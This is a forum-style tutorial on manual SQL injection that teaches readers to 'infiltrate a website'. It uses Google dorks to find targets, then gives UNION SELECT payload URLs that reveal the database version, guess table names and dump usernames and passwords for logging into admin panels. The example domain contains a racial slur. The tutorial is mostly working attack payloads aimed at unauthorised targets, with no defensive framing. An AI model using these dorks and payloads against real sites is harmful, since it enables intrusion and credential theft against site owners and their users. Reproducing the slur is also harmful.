Manual SQL Injection - Printable Version

*I wrote this quite some time ago, but I figured I would share it with the community. Smile

I will be teaching you how to use SQL Injections to infiltrate a website.
Before we begin, you should do some reading about SQL

and SQL Injections.

Quote:A SQL injection attack consists of insertion or

"injection" of a SQL query via the input data from the

client to the application. A successful SQL injection

exploit can read sensitive data from the database,

modify database data (Insert/Update/Delete), execute

administration operations on the database (such as

shutdown the DBMS), recover the content of a given file

present on the DBMS file system and in some cases issue

commands to the operating system. SQL injection attacks

are a type of injection attack, in which SQL commands

are injected into data-plane input in order to effect

the execution of predefined SQL commands.

Finding a target

Okay, so first we must already have a
target. We can use Google dorks to find one

Code:
Inurl:admin.php?p=
Inurl:contact.php?ID=
inurl:help.php?id=

Testing the site for vulnerabilities

Once you have found a webpage that may be vulnerable you will need to test it.

You can do so by adding a

Code:
'

after the last number in the URL like so.

Code:
http://www.nignog.com/contact.php?id=46'

If you get an error similar to this, that means the site is vulnerable, and we can exploit it.

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Finding the column count

Now we need to find out the amount of columns the website has.
To do this we will use the ORDER BY statement.

Code:
http://www.nignog.com/contact.php?id=46 order by 1/* no error
http://www.nignog.com/contact.php?id=46 order by 2/* no error 
http://www.nignog.com/contact.php?id=46 order by 3/* no error
http://www.nignog.com/contact.php?id=46 order by 4/* no error
http://www.nignog.com/contact.php?id=46 order by 5/* error

That means there are four columns.

Check the UNION function.

Union allows you to select more data in one SQL statement. (If I'm wrong shoot me.)

So now we will do this.

Code:
http://www.nignog.com/contact.php?id=46 Union all select 1,2,3,4/*

If there are numbers on the screen that means the Union works.

Getting the MySQL version.

Code:
http://www.nignog.com/contact.php?id=46 Union select all 1,2,3,4/*

if /* doesn't work, try

Code:
--

So pretend the number three is on screen.
Now we will replace the number three with @@version

Code:
http://www.nignog.com/contact.php?id=46 Union all select 1,2,@@version,4/*

You should now have a version number, something similar too:

Code:
4.13.37

Getting table and column names

We will need to guess the table names now.
Some common table names are: admins,users,members,emails,user.
Common column names: users,user,password,pass, etc.

Code:
http://www.nignog.com/contact.php?id=46 Union all select 1,2,3,4 from tablename/*

If you see the number three again, that means the table exists.

Now we need to get the column name, to do so we do this.

Code:
http://www.nignog.com/contact.php?id=46 Union all select 1,2,user,4 from tablename/*

If usernames are displayed then it works, if a error occurs try another column.
If the names displayed you would then look for emails, passwords, etc.

Now we want to get the usernames and passwords at the same time, to do this we use concat. (Basically it joins the strings)

Code:
http://www.nignog.com/contact.php?id=46 Union all select 1,2,concat(username,0x3a,password),4 from tablename/*

0x3a is the value for:

Code:
:

Now you should get the username and password in a nice format.
Example:

Code:
Kaiten:Three

Now you can log in to the admin panel, have fun, good luck, don't die.